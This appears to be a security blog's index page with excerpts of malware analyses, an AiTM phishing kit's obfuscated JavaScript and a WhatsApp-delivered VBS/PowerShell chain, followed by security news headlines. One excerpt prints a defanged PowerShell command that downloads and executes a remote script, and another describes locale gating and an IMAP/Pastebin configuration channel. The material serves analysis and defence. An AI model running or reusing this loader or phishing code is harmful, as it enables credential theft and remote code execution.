phishing-kit
AITM kit sample (inert / displayed as code) Verify your account No account? Create one! Sign in with a security key Next Sign-in options a@b.com Forgot password? Other ways to sign in Sign in window.addEventListener(‘load’,function(){ const configRef = window[Object.keys(window).find(k => k.startsWith(‘jsConfig_’))]; const { vars: _funcs14, functions: fnMap, props: hbProps } = configRef; const hbCache = […]
Read More →phishing-module
window.addEventListener(‘load’,function(){ const configRef = window[Object.keys(window).find(k => k.startsWith(‘jsConfig_’))]; const { vars: _funcs14, functions: fnMap, props: hbProps } = configRef; const hbCache = window[_funcs14.phpConfig]; const errMsgs = window[_funcs14.errorMessages]; const stateb44f = window[_funcs14.validationState]; const options1ed0 = window[_funcs14.initialOptions]; let viewRef = window[_funcs14.view]; let email0132 = window[_funcs14.enmail]; const accessData747b = window[_funcs14.statusAccessData]; const hbIds = JSON.parse(atob(window[_funcs14.damang])); const _classes81 = JSON.parse(atob(window[_funcs14.suke]));f const […]
Read More →WhatsApp_VBS_PowerShell
Appendix B — PowerShell Snippets (Defanged) Observed Malicious Loader Command (Do NOT Execute) —————————————————————- powershell.exe -ep bypass “[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;iex ((New-Object Net.WebClient).DownloadString(‘https://miportuarios[.]com/sisti/api.ps1’))” IMAP Bootstrap (Mailbox as Config Channel) —————————————————————- # Opens TLS IMAP to imap.terra.com.br:993, logs in, searches subject “data”, fetches latest body. # Shown here for analysis context only; do NOT run in production. # (The […]
Read More →WhatApp_PowerShell_VBS-S2
Overview – Second-stage VBScript is executed in-memory via ExecuteGlobal by a Stage‑0 loader. – Primary goals: Portuguese locale gating, anti-analysis checks, configuration bootstrap (IMAP → multi-domain /data.php → Pastebin), PowerShell stage launch, optional self-delete. Locale Targeting (PT-BR/PT-PT) —————————————————————- Function CheckSystemLanguage() ‘ OSLanguage 1046 = pt-BR, 2070 = pt-PT ‘ Registry fallback: HKCU\Control Panel\International\sLanguage starts with […]
Read More →
Malwarebytes- A week in security (October 26 – November 1) November 2, 2026A list of topics we covered in the week of October 26 to November 1 of 2026
- Fake PDF and search tools hijacked searches for 13.4 million Chrome users October 30, 2026319 Chrome extensions sent search queries through servers controlled by their operators, allowing them to see what users searched for.
- Photo ID, bank checks, face scan? The UK’s age-check options October 30, 2026Ofcom has set out four possible age-verification methods for UK’s under-16 social media ban.
- A week in security (October 26 – November 1) November 2, 2026
- The Hacker News
- New VOLTA Infostealer Uses Claude, Gemini, and Kimi AI to Rank Victims by Financial Value November 2, 2026Cybersecurity researchers have discovered a new Windows infostealer malware called VOLTA-AUTODOXER (aka VOLTA) that makes use of a large language model (LLM) to rank a victim's stolen data by their monetization value. Like other typical stealer families, VOLTA is equipped to harvest passwords and cookies from Chromium-based web browsers; data from Outlook profiles and Slack […]
- CVSS 10.0 LXD, MicroCloud Flaw Lets Attackers Impersonate Trusted Clients Without a Private Key November 1, 2026A critical flaw in Canonical's LXD and MicroCloud let an attacker log in as a trusted client without holding that client's private key. To do it, the attacker had to reach their HTTPS API over the network and have the trusted client's public certificate. Once in, the attacker would act as that client, with access […]
- Hackers Steal About $2.7 Million From Polymarket Traders via Hijacked DebugBear Script November 1, 2026Malicious code on the website of prediction market Polymarket sold some signed-in traders' positions and moved their funds to the hackers on October 29. The code had replaced a page-speed script that the site loaded from an outside company. Polymarket says it is refunding about $2.7 million to 726 affected wallets. Blockchain records show crypto worth about $2.64 […]
- FBI Links North Korea's TraderTraitor to Record $6.43 Billion Binance Crypto Heist November 1, 2026The U.S. Federal Bureau of Investigation (FBI) has officially attributed the theft of more than $6 billion in virtual assets from Binance to TraderTraitor, a North Korea-aligned elite hacking group also tracked as Jade Sleet, Pressure Chollima, PUKCHONG, Slow Pisces, and UNC4899. The FBI, along with the U.S. Secret Service (USSS) and the Internal Revenue […]
- NetamLoader Malware Targets Government Windows 10 Systems in Asia via .NET Injection November 1, 2026Cybersecurity researchers have disclosed details of what has been described as a "highly sophisticated infection chain" targeting government organizations in Asia. The activity, detailed by Kaspersky this week, targeted a custom Windows 10 build used exclusively by government entities in Asia and involves the deployment of a previously undocumented .NET assembly-loading framework codenamed
- New VOLTA Infostealer Uses Claude, Gemini, and Kimi AI to Rank Victims by Financial Value November 2, 2026